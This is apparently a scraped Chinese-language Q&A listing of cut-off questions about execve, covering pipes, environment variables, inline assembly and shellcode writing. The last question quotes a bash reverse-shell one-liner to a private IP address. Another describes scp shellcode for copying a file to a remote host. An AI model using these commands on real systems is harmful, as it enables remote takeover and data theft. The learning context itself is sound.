execve

    0熱度

    1回答

    我想執行以下命令並讀取它的輸出。 /usr/sbin/system_profiler SPHardwareDataType | grep 'Serial Number' 我必須直接使用execve(無popen)。我相信在最後一步我失敗了,將第二個孩子的輸出讀入父母的緩衝區。我收到'閱讀問題'信息。 char *cmd1[] = {"system_profiler", "SPHardwareD

    0熱度

    1回答

    我正在使用父進程,它使用execve()來運行具有我在父進程中定義的特定環境變量的子進程。 在父進程中,如果我查看內存位置$ esp + 0x240,我會找到所有的環境變量。但是,一旦子進程啓動,我無法找到已存儲預定義環境變量的內存地址。 我會想,因爲execve()用子進程替換父進程,傳遞給子進程的環境變量將位於0xbffffffa減去環境變量字符串的長度(在Linux中)。 但是,當啓動子進程

    0熱度

    1回答

    我正在做一個項目,我必須使用fork創建一個子進程,然後父進程告訴子進程執行另一個C程序「read.c」(它從.txt文件讀取所有整數並計算平均值)通過使用execve,然後我必須通過管道將該平均值發送給父進程。我不知道如何在「process.c」程序的子進程中獲得「read.c」程序的結果的「平均值」。一些可能的朋友說,我必須將用於管道(pfd [2])的文件描述符傳遞給execve,並從其他程

    0熱度

    1回答

    在執行strace -ttT date時,我錯過了很多可執行文件後的系統調用。在execve()之後,沒有更多的系統調用將date ELF從HDD複製到內存,這是否會在內核中發生?我以爲我會看到很多IOCTL到硬盤控制器,每個字節都被逐塊加載到內存中? 16:00:00.505197 execve("/bin/date", ["date"], [/* 30 vars */]) = 0 <0.038

    2熱度

    2回答

    我是一個新手,所以我可以用表達式不準確。我需要用匯編語言在C語言中調用「execve」。我不使用任何庫。不工作的部分是 char *nul=(char *)0; char *argv[] = { "/bin/date", nul }; char *envp[] = { nul }; long ret; asm volatile ("int $0x80" : "=a" (ret) : "a"

    0熱度

    1回答

    我在寫的shellcode(execve的使用堆棧法)閱讀基本的文章在這裏堆棧存儲器地址:http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html 在第6步:它會將一個空字符,因爲該字符串「/ bin/sh的」是null終止。之後,它按相反順序推動字符串「/ bin/sh」 爲什麼字符

    4熱度

    1回答

    通過http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html 去,我明白它調用execve NASM的程序,並試圖重新寫。 一些背景資料: int execve(const char *filename, char *const argv[], char *const envp[]);

    0熱度

    1回答

    我試圖在子進程中擁有一個進程fork並運行execve,以便它將打開一個新的終端窗口並執行一個自定義命令在那裏。 我想執行的程序是gestore 這些論點我傳遞給execve: char * argv_exec[5]; argv_exec[0]="/usr/bin/xfce4-terminal"; argv_exec[1]="--geometry"; argv_exec[2]="480x32

    0熱度

    1回答

    我想寫一個執行sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)的shellcode。 這是完整的命令: scp -i /tmp/file -P 8989 /path/file [email protected]:/home/user 的問題是,我需要寄存器的很多(有SCP的後6個令牌): cdq push edx push [email p

    2熱度

    1回答

    我正在學習彙編和編寫shellcode。我有一個關於execve的問題,並將參數傳遞給它將執行的程序。 我有工作代碼來執行一個bash外殼,但我不確定輸入格式execve將其他參數傳遞給它。我可以做stdin stdout重定向嗎?我想用這種類型的命令行創建一個反向tcp連接: /bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1 參數應該用NULL